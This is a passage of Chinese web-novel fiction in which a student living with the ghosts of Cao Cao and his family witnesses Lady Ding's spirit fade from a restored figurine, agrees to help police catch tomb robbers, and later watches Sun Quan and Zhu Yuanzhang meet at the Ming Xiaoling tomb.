打着一副官腔,看得出是在历史这一块很有权威的人。 “是的,这个确实没问题,他们还找了历史顾问,看得出是有态度的。但现在查下来,像是个挂名骗过审的,请您帮忙鉴定鉴定。”一边说着把手机递给那一看就不是专业人士的女学生。 一般来说就两次审核,备案一次,拍完后开播前一次,中途检查除非是被举报了,但也没有查历史顾问这一块的呀。 吕思彤疑惑地接过手机。 “你好……” “你好……” 吕思彤一愣,这不高馆长嘛。 高馆长也是一愣,随后表情激动,双眼放光,说:“哎哟小吕同志!你说得可太对了,来来来,我给你看看。”一边说着手机镜头反转对着正在修复的陶俑,“经过昨天一晚上的拼接修复,这个底座已经完整了。” 画面上的陶俑被放在玻璃桌面上,这样将摄像头放在桌面下的时候可以看见底部的刻字,因年代久远加上陶土的风化,字迹十分模糊。 高馆长激动地说:“这上面四个字,发妻丁氏。足够说明曹操这个心里啊,肯定是愧疚了很久惦记着的,不说什么爱不爱,啊,就为了给曹昂一个交代都行,足够说明这个奸雄,啊,他就是有这么温情的一面。他死的时候正妻是卞夫人,啊,但为了能减轻心里的愧疚,能死后面对曹昂,啊,他做了这个陶俑。” 老高怎么突然打官腔打得这么严重! 吕思彤看向曹操,老头刚才还有些生气的状态,现在是一种心思被戳穿后的不耐烦,也学着吕思彤刚才的模样小声哔哔:“混账,任职孤陵墓的馆长,竟称孤奸雄。” 从视频画面里可以看到好几个修复鉴定人员,边上一名同样带着防尘口罩的中年女性出现在镜头里,梳了一个丸子头,穿一身苏绣平裁放量旗袍,看见吕思彤后有些惊讶,道:“哦哟,这姑娘年纪轻轻眼光辣得很呀,下趟也帮我们找件好宝贝。” 高馆长试图夺回手机,说:“这位是苏馆长,昨天没把你带去吃饭,还给她数落呢,说我在她的地盘上挖人还藏着掖着。” “下次一定。”吕思彤谦虚地说。 高馆长这才想起来了什么,说:“哦对了,你是在那剧组当兼职吗?他们说有个历史顾问在,正好你替我鉴定鉴定,我这边继续加班加点把这陶俑给修复好,再联系你。”说完也不让把手机递回去,直接就挂断了。 吕思彤拿着熄屏的手机递回给工作人员,说:“呃,要不……你考考我?” 打工赚钱 因帮助剧组免于一难,再加上对话之间听到的专业度是受到那边“专家”认可的,还是这么一个年纪轻轻的女生,两位导演不禁肃然起敬。 总导演见那边人都走了,才把和高中同学之间的恩怨道来,就是故意找茬想咔嚓掉剧的。 然后握着吕思彤的手,吩咐其他工作人员,说:“大家都记住了,这是咱们贵人,见了都得叫吕姐,说话跟我一样好使,改剧本除外。” 简单寒暄了几句,两位导演就要去忙拍摄进度,让她自己随便看看。 关于顾问的事宜没有变,还是可以远程办公的,一直到剧组拍摄结束,到时候会让她再根据送审的成品写一个申请。 曹操盯着英俊帅气的男主角颇为不满,说:“这等弱质如何能扮作孤?” “现在大家还是比较喜欢看小鲜肉的。”吕思彤小声回答,“就是白白净净,有点秀气的那种。” 惹来袁绍的白眼,曹操的嗤笑。 袁绍年轻时自己就是个美男子,大汉尚武又习六艺,看着便精神气饱满且腹有诗书,一个人是不是空有皮囊还是很容易看出来的。 曹操则说:“当年匈奴使者求见,孤因自己相貌算不得出众便让崔琰替代,孤为侍卫在侧,使者后言:魏王雅望非常;然床头捉刀人,此乃英雄也。” 崔琰也是东汉末年的美男子,年少习武读文有气质,都没能让曹操满意,更何况是相隔了千年的小鲜肉。 “这……小剧组也请不动包老师呀。” 又一次听到包老师这个称呼,曹操更不满。上回是托梦高馆长的时候被说不像包老师,现在说扮演者不合适也提包老师,着实令人火大。 顿时没了再看这破剧组的心情,曹操提出想要去看一眼陶俑进度的要求,也好奇这边的博物馆有没有谁的鬼魂在,比如孙家人的。 吕思彤给他解释说,这边的博物馆并不是依托在陵墓基础上,是展览陈列不同朝代的东西,和高陵博物馆是完全不同的。 “罢了,先回去吧。”曹操叹息一声。 千百年后的世界,如今只有故友本初和两个孩儿,着实落寞。不禁怀念那些相伴相杀过的故友们,比自己先走一步的,他心里有愧,那些死后未知如何的,心中亦有担忧。 那些被辜负的人,倘若再见,是否想好了该如何开口呢? 回到家里,询问小吕有没有繁体的史书。 吕思彤没回答,今天出门的时候把淘汰的智能手机给了曹冲研究,此时想先知道他的研究情况,那手机语言已经被她调整为繁体,学习能力强的人理论上是还是能够学会的。 曹冲和曹昂坐在一起,两人研究这个东西半天了,颇有收获,但也有很多疑惑。 吕思彤给两人仔细解答,在确定曹冲能够使用基础功能后切出来了手写输入的功能,并且把网络连接打开。 从华夏历史馆的网站上下载了比较齐全历史资料,足够老祖们学习好几天了。 除了历史知识外,一些家里的设备也大概讲解了下,而像燃气灶这种危险品暂时没敢教他们,晚饭都点外卖凑合。 之后几天老祖们都挺安分地待在家里,猛猛学习之后朝代的历史知识,新电视到后偶尔看看歌舞剧,这日子是真舒坦。 而吕思彤因为周五要体能测试不得不临时抱佛脚早起跑步,导致本就繁忙的行程更加忙。 周五这天有两个好消息,一个是体能测试通过了,还有一个是陶俑的拼装修复完成,鉴定结果也和曹操说的一模一样。 高馆长打来电话,说这件东西的文化价值是很高的,对于高陵或者说是对于曹操的历史研究来说都是个相当大的发现。但现在还不是庆功的时候,既然鉴定完成了,又知道来源,就可以顺藤摸瓜地查下去。 吕思彤了然,向体育老师打听当时那个皮衣小伙的联系方式,称是自己实习单位的那个老板还想再了解了解有没有别的东西了。 体育老师很是吃惊,道:“那东西赚了?” “嗯赚了。” “哎哟,早知道我直接买了。”体育老师翻了翻联系人,却发现自己已经被对方拉黑。 将这事告诉了高馆长,许久没有回应。 过了一会发来消息,问她周六有没有空往苏博去走一趟,这事挺重要,需要她的帮助。 吕思彤先回家和老祖们知会了一声,回来的时候电视上放着《亮剑》,袁绍、曹操和曹昂都看得津津有味,还在讨论意大利炮和刘晔的霹雳战车哪个厉害。 曹冲手里拿着手机正在不断学习新知识,这么几天下来已经学会搜索信息、使用各种平台冲浪,甚至注册了个企鹅。 而曹总和袁总以及曹昂如果有什么疑惑,现在依靠曹冲也能解答诸多疑惑了。 不得不说神童和普通人之间的差距是相当大,曹冲已经研究出来支付软件里的钱和纸币之间的关系,而为了能赚到钱,曹冲自学小学初中数学,说有人想付钱找他辅导功课。 “……”泪了。 有的小朋友刚接触手机一周不到就会赚钱了,有的成年人拥有手机十几年却只会氪金。 吕思彤转念一想,曹冲又没有身份证和银行卡!赚到的钱不就是她的吗? “嘻嘻嘻好的,冲儿宝贝,妈咪这就帮你验证信息!Muaaa!” 吓得曹冲往边上躲,生怕她又给自己脸上拔火罐,好在她只是高兴地隔空mua了一下,莫名愉悦地哼着调子操作手机。 为了防止冲儿刚接触网络就被诈骗,所以给绑了一张很久没用的银行卡空卡。 之后把陶俑修复完成的事情告诉了曹操和曹昂,原本一直催着进度的两人,这会儿倒是不着急了。 曹操犹豫道:“你去看看就行了。” 这种心态也能明白,吕思彤担心明天过去会问一些比较专业的问题。 曹操沉思一会,说:“若是有你答不上来的,便推脱说是家里长辈,下回再约见面。” “行吧。” 曹操觉得高馆长奔波过来组织鉴定工作还是有功劳的,是该奖赏,眼下没什么能赏赐的东西,干脆写了封感谢信,让小吕明天交给高馆长。 第二天早上,吕思彤带着曹操的亲笔感谢信往苏博去,周末来参观博物馆的游客很多,她联系了一下高馆长从另一个工作区域的门进去,往另一边没什么人的鉴定区过去。 穿过一条走廊,走进一个会议室,吕思彤被这阵势惊到了。 好多穿着藏青色制服的警员啊。 “你好你好,这位就是小吕同志吧?我们需要向你了解一些信息。”一个年纪较大的警员开口打破沉默,看上去挺友好的,但眼睛已经在打量她的嫌疑程度。 高馆长起来介绍,说:“这是王局。” 吕思彤下意识想退出去,脚下像是生了根,告诉自己没什么好紧张的,那陶俑又不是她偷的!咽了咽口水到空位坐下。 在请她过来之前肯定是简单了解过基础信息的,一个再普通不过的学生,关联亲属都是不是做小生意就是上班族,不是什么书香世家,三代以内也没有任何的犯罪记录。 这要怎么解释?直说因为是曹操告诉她的?恐怕得拉去做精神鉴定。 如果说家里长辈,很显然她家里有哪些长辈也是很容易查清楚的。 没办法了,干脆摆烂。 吕思彤说:“实不相瞒,是对历史信息的敏锐和直觉。” 从人际关系还是学校历史档案,都查不出这女生和盗墓贼有什么关系,以目前的线索只能相信她是偶然遇到。那个体育老师也有嫌疑,因是和卖家直接联系的人,暂时不宜打草惊蛇。 问话结束之后,提出这件事情需要她的帮助,有一定的风险,拒绝也没问题的。 吕思彤站起来说:“不不不,你怎么可以假定我会拒绝呢?这是对我人格的贬低!身为一名遵纪守法的公民,帮助逮捕盗墓贼是我义不容辞的责任!” 说得慷慨激昂,在场众人纷纷为之欣赏地点头,说:“小同志思想觉悟很高呀。” “那当然。”吕思彤正义凛然地接话,“就是我还想问问,加学分吗?有奖金吗?” 众人:“……” 打工赚钱 按照目前掌握的线索,那个皮衣小伙肯定不是真正源头,年纪太轻了。以高陵的发现时间和进行保护工作来算,偷盗者怎么也得四五十岁了。 所以还得想办法接触到皮衣小伙背后的人,具体方案等他们规划好,到时候会再和吕思彤确定,期间她正常上学就行。 送走了警员们,吕思彤想起曹总交代的事情,问两位馆长:“我能不能看一眼现在的陶俑?” “可以,当然可以。”两位馆长便带着吕思彤去隔壁的鉴定修复室查看,几张桌子上摆放着不同的文物和修补工具。靠墙的一名修复人员弯着腰正小心翼翼地将古画背后的裱揭下来,专心谨慎一丝不苟,甚至都没留意到有人进来。 陶俑被放在一面玻璃台上,陪葬俑只有真人大小的一半,温和的暖色光从上下两方打出,将人俑映衬得更为立体。 破碎的痕迹非常明显,在修复时也是有意保留了这种残破感,或者说正是曾经破碎,才更有历史的沉重。 不知是不是错觉,感觉似乎有一层淡淡的薄雾笼罩在上面,吕思彤鬼使神差地伸出手去触碰。 两个馆长连忙阻止,生怕她把才修出个完整样子的陶俑给弄塌了。 然而他们还没开口,吕思彤就快速地收回了手,她看见一个淡淡的影子逐渐从那人俑上脱离,像是失去了力气跌倒在玻璃台上,两道暖光更使得这人影如真似幻。 是一个有些年纪的女人,穿着一身宽袖双绕曲裾,头发是汉朝最常见的堕马髻,虚弱苍白的面容算不上美丽,却有一种经年累月沉淀的气质,沉稳且淡漠。 不必询问也猜到是谁,想必就是丁夫人。 东汉末年,有名有姓的女子太少,貂蝉为除恶贼董卓而卷入斗争,留下的名字还是后世编的,除蔡琰蔡文姬外,其他留下一笔的女子多是因为丈夫出名,也只有姓氏而无全名。 如果能得知丁夫人的名字,这考古价值也是极高的吧? 但是丁夫人的状态和先前所见的老祖们完全不同,无论曹总还是袁总表面看上去是实体的,只不过别人看不到而已,而曹冲之前说过,鬼魂也可以不显形完全隐藏。 独独没有见过这样半透明的,从丰富的影视经验来判断的话,通常是命不久矣的鬼魂才会这样。 吕思彤连忙拿起手机假装打电话,视线盯着倒在玻璃台上的半透明人影,急切道:“喂?你能听见吗?” 突然大声接电话,在安静的鉴定修复室里显得格外刺耳,那边埋头修复古画的员工抬眼看了看,但见两位馆长在边上,也只好先搁置手头的东西,避免一会受到声音干扰手一抖把古画弄坏了。 “……”那个虚弱的人影微微抬头,但是没有能够坐起来的力气。 吕思彤绕到另一边更近些观察,才发现这位老祖的身上就像这个陶俑一样,也有着一道道的裂口。 她着急地看向高馆长和苏馆长,问:“这能继续修吗,就是把裂痕都修没的那种。” 两位馆长有些为难,从修复技术上来说不是没有可能,只是花费的时间更久一些,但从文物的历史研究价值而非收藏价值来说的话,保留裂痕是更合适的,它所经历的盗窃、买回、修复都是历史价值的一部分。 搭在台子上的手指尖传来微微凉意,吕思彤低头看见丁夫人虚弱地拉着自己的手。 “我记得应该是……碎了很久……”丁夫人对周围的一切也都很是迷茫,心思却有一种回光返照的通透,想起自己已经亡故,又看到那自己模样的陶俑。 吕思彤反手握住丁夫人的手,因为常年的纺织,每根手指的第二指关节都有略粗糙的茧子。 “出什么事了?”两位馆长见她神情着急,也都关切了一声,但此时吕思彤没有多余的心思搭理。 吕思彤长吸一口气,问丁夫人:“你还能再坚持几天吗?我试试看能不能说服他们。” 丁夫人的眼中有些迷茫,说:“太久了……临走前能知晓后世有人惦记我,帮我修补俑像,我已经知足了。” 她身上那些破碎的痕迹逐渐扩大,本就半透明的人影更变得单薄,眉宇间一丝忧愁却与这知足相佐。 吕思彤心头一动,连忙说:“我也见到他们了,都很惦记你。” 半透明的丁夫人突然泪如泉涌,自知大限已到,也不及问什么原因,只是单纯的问起自己的挂念:“子脩还好吗?他会原谅我的任性吗。” 直至今日,千年过后,丁夫人仍旧不能原谅当年丈夫犯下的错,都不曾问一句曹操。 “他很好,他只责怪自己没能平安回家。” “他就是这样的孩子,是这样的……”丁夫人呢喃着,看向吕思彤,又看了看边上的馆长和还在修复文物的工作人员,说,“替我说声谢谢,他们尽力了……” 话才说完,半透明的人影加快了破碎的速度,最终化作如齑粉的透明光点,消失在了这里。 那种根本来不及捕捉到的感觉,不仅仅是一件东西的破碎,更像是眼睁睁看着一个人消亡在自己的眼前。 吕思彤一口气憋在心里,咬牙道:“天杀的盗墓贼!!” 盗墓和考古是完全不同的事情,考古是严肃且沉重的,所花费的心血投入的时间难以计量,尽一切力量将历史信息保存下来,将文化更好的传承下去。 而盗墓只是为了一己之私,为了谋取利益。 那些偷盗陪葬品的窃贼,会将无法带走的东西破坏掉,会将难得保存完好的文物流向外邦。 这些年对外流文物的追回一直没有停止过,海外华侨甚至高价拍回被抢去的国宝再捐赠上交,大家听到这样的消息欣慰之余便是憋屈。 本就是我们的,却还要高价买回来。 然而这样善良的行为,只会换来更锋利的刀。 外头的古董商都知道一个不成文的规定:华夏国的东西,可以加价狠一点,反正肯定有华侨买单的。 有利益就一定有人铤而走险,市面上时不时就流入一些所谓的“祖传”收藏,买卖双方心知肚明,暗语一套一套的,想逮人根本无从下手。 “小吕同志,出什么事了?”两位馆长对吕思彤突如其来的情绪感到疑惑,等她稍微冷静一点才询问刚才电话里是什么事,听着好像很严重。 吕思彤看了眼修复好的陶俑,这些破碎与修补的痕迹,是这件文物的故事,它与历史上的人相互辉映,去解读另一个历史人物的生平。 而因为陶俑破碎太久,依附于它的魂魄也日渐虚弱,一直到丁夫人消散,还是没能得到史书记载以外的信息,她的名字。 吕思彤无法直说,只能编造回答说:“一个亲戚祖坟被盗了,里面虽然没有什么珍贵的宝贝,把人老祖先的像给打碎了。” “这也太恶劣了。”两位馆长也都很生气,带着吕思彤到边上的茶室喝茶降降火。 “唉!”吕思彤喝了一口重重放下杯子,这事实在无法倾诉,郁结在心里,她甚至有一种自己见死不救的无力感,如果能早些时间发现这么个破碎的文物,是不是就能来得及挽救依附在上面的魂魄呢? 吕思彤琢磨了一会,说:“我有个想法,给偷盗陶俑的盗墓贼整个大活。” 如此,这般。 先这样,再那样。 两位馆长认真听了下,主意是不错,但阵仗也确实有点大。 “这事我和王局再商量商量,你也先消消气。”高馆长又给小吕同志倒了杯茶。 吕思彤拿起品茗杯一饮而尽,心里还是不高兴,嗯了一声说:“那你去办吧。” 随后反应过来这不太礼貌,重新坐端正了说:“好茶好茶,您老太客气了。” “呵呵呵。”高馆长笑了起来。 吕思彤转移话题,说:“哦对了,两位馆长辛苦了,我这里有一封曹操的亲笔感谢信。” 两人眼前一亮,何止是一亮,简直是都要镭射灯了! 要知道曹操唯一传世的真迹只有石碑上的两个字!如果她今天要上交曹操的亲笔感谢信,那研究价值可太大了,何止安阳高陵震撼,绝对是考古历史上的重大事件! 两人看着吕思彤掏出来的A4纸。 高馆长:=L= 苏馆长:=L= “……” 苏馆长说了声小同志怪幽默的,随后转移话题寒暄几句,问吕思彤有参观过苏博吗?知道这边的镇馆之宝是什么吗? 吕思彤点点头,说:“那会吴王夫差剑和越王勾践剑合璧的时候来看过,镇馆之宝应该是吴王夫差剑吧。” 说到春秋时期的吴王夫差,难免想到三国时期的吴王孙权。 苏馆长说:“下个月我要出差一趟南博借资料,给文献做一些注释,顺道去明孝陵看看咱们吴王孙权。” 位于紫金山的明孝陵是朱元璋和马皇后的陵墓,朱元璋当年给自己的陵墓选地址,看中了紫金山这块地,但已经有个先人孙权在了。 身为后辈的朱元璋没有要避讳的意思,也没有推掉孙权的陵墓,念孙权也算个英雄便保留了其陵墓,在前面为自己看门。 权儿美吗 吕思彤以前去过一趟孙权墓,不得不说大家对权仔还是挺喜欢的,墓前从来不会空着,不管是哪天过去祭拜看望,都能看到任何游戏里名叫“张辽”的角色卡片。 张辽止啼,多好的良药,就是怕权仔给后辈小朱当门卫伤心落泪,这是对权仔深沉的爱呀。 “我听老高说,你对汉朝的文物挺有研究,单从这陶俑看也确实有本事。你要不要一起去,就当是旅游散心了。”苏馆长发出邀请,再怎么说自己地盘的人也不能给外人抢了。 “不不不,不用了,我下个月要期末考。”吕思彤想也没想就拒绝了,可不敢让曹操他们知道。 吕思彤找了个理由道别回家去了。 等她走后,高馆长随意地将那A4纸拿起来看了看,说:“这后生确实厉害,不是书香世家实在有点意外,她上次写了一份……” 话还没说完,高馆长盯着手里的A4纸拧起了眉头。这次的字迹和上次帛书檄文的字迹不太一样,虽然都是汉朝最常用的隶书,但笔锋笔势的差异还是很大的。 这份书法,字态动静有致、圆融遒丽,显露出沉稳又藏几分热忱。 苏馆长也凑过来看了看,念道:“其志如雪……这个雪字……” 高馆长的视线也已经落在“雪”上面很久了。 曹操传世的文字真迹只有一处石刻。 建安二十年(215年),曹操西征张鲁到汉中经过一处栈道,见此处幽谷深滩石多浪激,飞流奔泻,银涛做窝,犹如白雪翻滚。他心中豪情难抑,便挥墨于谷中山石之上,为“衮雪”二字。 身边的谋士将军们疑惑,为何衮字少了水边旁。 曹操指着水浪说,水就在衮字边上呢。 之后工匠照着笔墨痕迹将字雕刻下来,这才有了魏武曹操唯一传世的真迹。 再到后来,那块石头被收藏进了博物馆,衮字无水,也就真的无水了。 这么出名的东西,作为考古人,必然是一眼认出,这封信上的这个“雪”字,与曹操真迹一模一样,不,并不是一模一样,但正是因为这一点细微的差别,反而减少了那种模仿风格笔迹的刻意。 但凡这玩意是写在绢布上,再用东西裱起来做个旧,他们都能信了是历代深宫旧藏。 可它偏偏是写在A4纸上。 “这个小吕同志不简单呀,随手这么一写都能模仿魏武有个八成相似。仿照一个字不难,她能把所有的字都写成曹操的风格,小小年纪天赋可怕呀。”高馆长叹了一声将A4纸叠起来放进夹层口袋里。 此时另一边。 回到家的吕思彤在门口换鞋子,琢磨着怎么给老曹小曹说丁夫人的事。 你玛没了? 嘶,这可说不得。 她犹豫地低着头思考用词,看见老祖们正围着曹冲让他帮忙搜索查询一些人物的生平以及后世评价。 “哦,小吕回来啦。”两老头瞥了眼。 曹昂也抬头,往她身后看去,试图看到养母的身影,没看到。 此时曹操也端详完,看出小吕较为低沉的情绪,直接下结论,说:“她还是那个脾气,这么多年过去都不肯原谅我,甚至不愿见子脩?错不在你,你忙去吧。” “……”吕思彤不知道该不该纠正这个误会,几次欲言又止。 “这么多年……罢了,她既不愿相见,孤也不勉强。”曹操也不想让小辈为难,再次摆摆手 吕思彤想了想,没应声也没反驳,她不知道这个谎言能瞒多久,只是自己目睹了丁夫人的消失,短时间做不到如实相告。 愧疚至今的曹操、挂念至今的曹昂,千年后仍旧不愿相见、千年后尚未相见就永别。 她不知道真话和谎话到底哪个更伤人,至少也该等到盗墓贼落网后,有个交代了再一并告知。 曹操见她怎还是如此沉默,换了个话题问:“那封信给高大人了?他可有说什么?” 两位馆长啥也没说,从表情分析的话…… “嗯……他们觉得那是赝品。” “哼。”曹操冷哼一声,“那姓高的经不起夸,才说他奔波此事尽心尽力,居然连孤的字迹都认不出。” “其实……魏武帝流传后世的只有两个字。”吕思彤把石刻解释了一下。 曹操记得这事,随后有些感慨,道:“唯有刻在石头上的才留了下来……孤常年行军,虽也练字多年,着墨却少。原本将毕生兵法感悟整体,成书一册,尚未传阅便被焚了。” 这事杨修张松得各背一半的锅,杨修给张松显摆兵书,张松就显摆自己过目不忘的能力,硬背下看到了兵书然后谎称曹操写的是人尽皆知的道理,有抄袭先人的嫌疑。 曹操哪能接受自己有抄袭的嫌疑,干脆就把兵书给烧了。 哎呀!任何对历史有点喜好的人都为之痛心,那些考古学家每每想起这事更是捶胸顿足,直接就少了一大部分文化瑰宝啊!! 曹操的军事才能是受到认可的,如果他的兵书不毁,没准还真有能孙武的评价高度,把他这奸雄的奸字能给去掉。 话题到这有些沉重,吕思彤又惦记着丁夫人的事情,怕表露得太明显,就转换了个情绪,笑嘻嘻地走向曹冲,问:“冲儿宝贝今天都学到了些什么呀?” 曹冲立刻就往曹操身后躲,说:“正在查阅孙权墓的位置。” “……”吕思彤瞬间僵住,忘了网络科技这把双刃剑!他们能更便捷地学习到后世知识,同样也能轻易地揭穿她所说的谎言。 提起这茬儿,曹操原本有些伤感的情绪瞬间没了,呵呵笑了两声,说:“孙权小儿的陵墓好端端地,就在明孝陵前面。那小朱家的王朝也查过资料了,嗯,确实是号英雄人物,孙权小儿给他看门不算辱没。” 曹冲又划动了几下手机,出现的是一个车票查询的页面,显示苏州到南京的高铁只需要一小时。 曹操盯着吕思彤说:“只需半个时辰?” “……”汗流浃背了! 然而曹操竟没有追究她撒谎孙权陵墓被占不知如何寻找的谎言,笑了笑说:“你不必慌张,只是求证一下真假,既已决定放下仇怨不见孙权,自然不会麻烦你。” 吕思彤刚松了口气,又听到曹操吩咐曹冲,说:“再搜搜孙权孙策,不知后世风评如何。” 曹冲在浏览器输入孙权孙策,然而,推送到第一条的却不是正儿八经的科普评价,而是一篇雷文 曹昂说:“怎会如此呢?” 曹操说:“孙权小儿私底下竟是这种人,生子不能如孙仲谋啊!” 袁绍说:“孙策不是和周瑜关系更好?何况是亲兄弟,怪哉。。” “……”吕思彤听着有些古怪,拿过手机看了眼。 如坐针毡如芒在背! [孙权随着舞步变化褪去一层层的外衣,仅一件不到膝盖的长里衣,借着最后一个旋转舞步坐到了孙策的腿上。] [他笑着勾住哥哥的脖子,问:哥哥,权儿美吗?] 啊啊啊啊啊!!!某度你到底是什么破算法!老祖先只是想搜一点单纯的历史知识!!为什么把雷文放在第一个啊!!为什么!! 一众老祖先里,只有曹冲接受能力极强,认为这是后世杜撰的野史,而不是一代代流传下来未知真假的野史。 其他三人尽管听了曹冲的分析,也仍旧被震撼得表情扭曲,不理解后世为什么要这么编排。 毕竟,编故事也是要有事实依据的,对吧? 为了防止权仔的名声出大问题,吕思彤抹抹冷汗解释说:“嗯……是这样的,因为我们有固定明确的历史书,不会因此混淆真假史,所以一些喜爱孙权的人就会为他写故事。” “喜爱?” 曹操脊背一寒,去瞻仰他遗址的人挺多,说明喜爱他的人也挺多吧,不会也有这么奇怪的故事被编造出来吧? 开始冒冷汗,他也有个亲弟弟,名叫曹德,当年徐州陶谦老匹夫将他父亲和弟弟一并杀害了。 “孤也有这样的野史?”曹操面上故作淡定地问,眼神里是无法遮掩的凶光。 “那倒没有……”吕思彤如实回答,毕竟曹德这人没啥知名度,也就没人写他的兄弟骨科,嗯……知名流传的她就不说了,怕把阿瞒气得头风发作。 袁绍还挺庆幸自己陵墓几乎没有游客,那么编排自己的无知后辈肯定也是没有的,对吧? “哎呀这个网络的水可是相当混的,你们把握不来的。”吕思彤先把网络功能给关掉,然后把手机还给了曹冲,但曹冲早就已经明白每个选项的意思,自己轻轻一点就又连上了。 没办法,吕思彤只好和曹冲强调一下搜索的时候一定要具体,不要只写两个人的名字,网络世界太危险,保不准就会推一些奇怪的东西给你。 曹冲了然应下,充满好奇心的小神童怎么可能说不让就不让? 等吕思彤回书房去琢磨论文的时候,他就开始搜索了。 比如自己的老父亲和他的宿敌。 关键词:曹操袁绍。 推荐词条:青梅竹马。 相关搜索:国色天香。 “……”曹冲震惊了一下,小心翼翼地点开了一篇文章。 “……………………………………”长久的沉默后退出时的手都有点抖。 不是吧,孙权孙策好歹是亲兄弟,怎么连死对头的野史都能杜撰成……杜撰成……那种东西! 国色天香又是什么啊? 好奇心的驱使下,曹冲再次点进去查看。 “……………………” 不行!不能再搜了! 这样下去要无法直视父亲了! 为什么要推送这些奇怪的、杜撰的野史,我还是个孩子呀!!! 15.岁月如斯 [] 朱元璋一愣,听到孙权的名字有些恍惚。让孙权给自己的陵墓看门这事,说不上羞愧,总归是算不上厚道。 老朱笑了笑没有接吕思彤递来的剑,孙权是历朝历代第一个定都在南京的皇帝,其政治建设和农业治理为周边一带的发展奠定了基础,也使得南京后来成为六朝古都。 朱元璋选择南京这块地定都,往前推也可以说是受了孙权的荫蔽。 但是当皇帝的,都有唯我独尊的傲气,选在这块地不是他朱元璋的错,而是他孙权的福气!区区一个江东霸主,如何与大明皇帝相比? 不过,当皇帝的也都爱面子,明面上还是得客气客气。 朱元璋笑着捋了捋胡子,说:“朕乃后世大明朝之君,与吴大帝为邻数百年,幸会。” “为邻?”孙权想了想自己看见的那一小块碑,以及就在边上的神道石像,他起初以为是孙家后人给自己扩建了陵墓,转念一想不对,谁会把老祖先的墓碑放在神道侧面? 华夏自古以来对丧葬十分看重,选址规格都颇有讲究。若是真尊敬他这个吴大帝,选址冲突也该避开道路,却将他墓碑放在神道边上? 其用意不言而喻。 比起出言羞辱自己还抢他宝剑的刘备使臣,对这个把自己当守陵人的后世皇帝倒没有多少愤怒。 有把先朝皇帝当守陵人的魄力,要么是个心里没点数的昏君,要么是个文成武就对自身历史价值十分明确的明君。 而观此人气质便知晓绝对是后者。 孙权正想问问他凭什么敢让自己给他守陵,却听到曹操在边上嘀咕。 曹操说:“小朱怎么不是月牙脸?” 朱元璋摸了摸自己偏圆润的脸,疑惑道:“何有此问?阁下又是何人?” 救救救救救救命! 吕思彤生怕曹操又来一句由小吕得知的,不能因为手机是她的就把看到的野史全部锅甩给她吧? 连忙抢话,说:“这位是大汉魏王,也是魏武帝,曹操曹孟德。鞋拔……呃月牙脸那是有的画师标新立异画的,魏武他一个古人哪知道什么真假。” “哦?竟是魏武,幸会。”朱元璋看到曹操时的表情和看到孙权的完全不同,是夹杂着些许赞赏的,以及跨越时空的惺惺相惜,甚至放下了捋胡须的手,行了一个武人之间的抱拳礼。 曹操在汉室倾颓之时站出来匡扶汉室,朱元璋自己也是个匡扶汉人政权的皇帝,两人的军事战略也都是十分优秀,同样都是知人善用的明君。朱元璋知晓曹操,而曹操也通过曹吕冲的科普知晓朱元璋。 两人互相端详了一下,都有一种相见恨晚的感觉。 孙权顿感没面子,对待他和对待曹操的态度过于明显,也不想自找无趣,便找思彤的茬,说:“方才还言‘天下英雄谁敌手,曹孙’最是仰慕朕与曹操,此时却言朕造反?” 一直没说话的马皇后好心纠正,说:“此诗词乃是汉朝之后,我朝之前的宋人所作,原话为‘天下英雄谁敌手?曹刘!生子当如孙仲谋。’” 孙权血压继续上升,竟被个后辈姑娘屡次戏耍,但气过头了反而冷静下来,不能被曹贼和这个不敬先人的明朝皇帝嘲笑他的肚量。 “呵呵,朕在自己陵墓信步闲游,如何是造反?” 曹操拱火,反问:“是你的?” 孙权沉下一口气,说:“不是我的,难道是你的?”气得都忘记自称朕了。 说完还看向朱元璋,看他怎么说。 然而朱元璋在听到那句“生子当如孙仲谋”后,又和“造反”这话联系在一起,表情看上去有些恍惚,似乎陷入到了回忆里,脸上莫名有些忧伤。 喃喃道:“造反,造反好啊……生子当如孙仲谋……造反好啊……” 曹操:? 孙权:?? 天底下居然有觉得造反是好事的皇帝? 孙权对朱元璋强调曹操名言十分不悦,说:“朕不与你计较陵墓一事,汝却敢如此羞辱朕?” 朱元璋回过神来,苦涩笑了笑,说:“并无羞辱先人之意,只是想起了朕那早亡的太子。” 老朱对太子朱标十分宠爱,太子仁慈宽厚常常在政见上有矛盾,按照历史轮回的逻辑来说凡武德之君后通常都是休生养息,宽仁之君,方能长治久安。 而皇帝本人为君为父,则难免觉得孩子不像自己,过于懦弱了,不像个有出息的样子,若是标儿能有造反的气魄,可就太完美了。 听到朱元璋提到太子,孙权竟也流露出悲伤的表情,略浑浊的双眼盈起淡淡泪光,道:“朕的太子亦是早亡,登儿仁德明智,深受百姓爱戴,兄弟友善敬爱,文武群臣拥戴。病故之时,正值壮年!” 这说的哪里是孙登一人,朱标亦是如此。 简直是戳在朱元璋心窝子的伤口上了,此时也是老泪纵横,说:“朕的标儿,仁慈宽厚,兄友弟恭,其余诸王最是敬重他,朝中群臣无不重之,正值壮年,风寒不愈病逝!” 两个老头一下子建立起了灵魂深处关于痛苦的沟通桥梁。 天底下最悲痛的事情莫过于白发人送黑发人,且是自己最爱的、最重视、最信任、最用心栽培的接班人。 同样的遭遇瞬间拉近了两人的距离,朱元璋说:“说来吴大帝享年是七十一岁?” 孙权点头,说:“正是,明皇帝享年多少?” 朱元璋笑了笑,说:“也是七十一岁。” 如此巧合,略微冲淡了老年丧子回忆的悲痛,孙权回忆往事,说:“此年龄虽为高寿,仍旧诸多事情未替后代做好,太子孙登去后,朕又立了孙和,最终废孙和,立了少子孙亮。亮儿年幼,不知何时能亲政,江东那些豪族总是个头痛的事。” 朱元璋知道后来东吴那边发生的事情,与孙权说:“孙亮十五岁亲政,只是终究未掌兵权,后被权臣所废,又立阁下之六子孙休为帝。” 孙权沉默,最终长叹一声。 朱元璋说完自己也叹息一声回忆道:“朕的太子朱标亡后,又废立了几位,还是长孙允炆最得朕心。允炆年轻,也不知他那些个叔叔能帮他几分。” “……”吕思彤沉默,巧了不是。 曹操察觉到小吕的表情变化,问:“你知道?” 孙权和朱元璋都投来视线。 吕思彤便说:“朱允炆倒是没被废,就是你第四子朱棣攻陷皇宫之后就彻底失踪了,有说是被烧死了,也有说是逃走了,之后就是朱棣继位了。” 朱元璋沉默,也是长叹一声。 两个老头更觉同病相怜。 朱元璋摇头看向孙权,有意示好,说:“说来惭愧,当年起事时 16.岁月如斯 [] 吕思彤脱下外套将宝剑包裹起来,避免不必要的关注。 曹操和孙权似乎和朱元璋挺聊得来,一直到苏馆长等人来找吕思彤汇合离开明孝陵都没看到人回来。 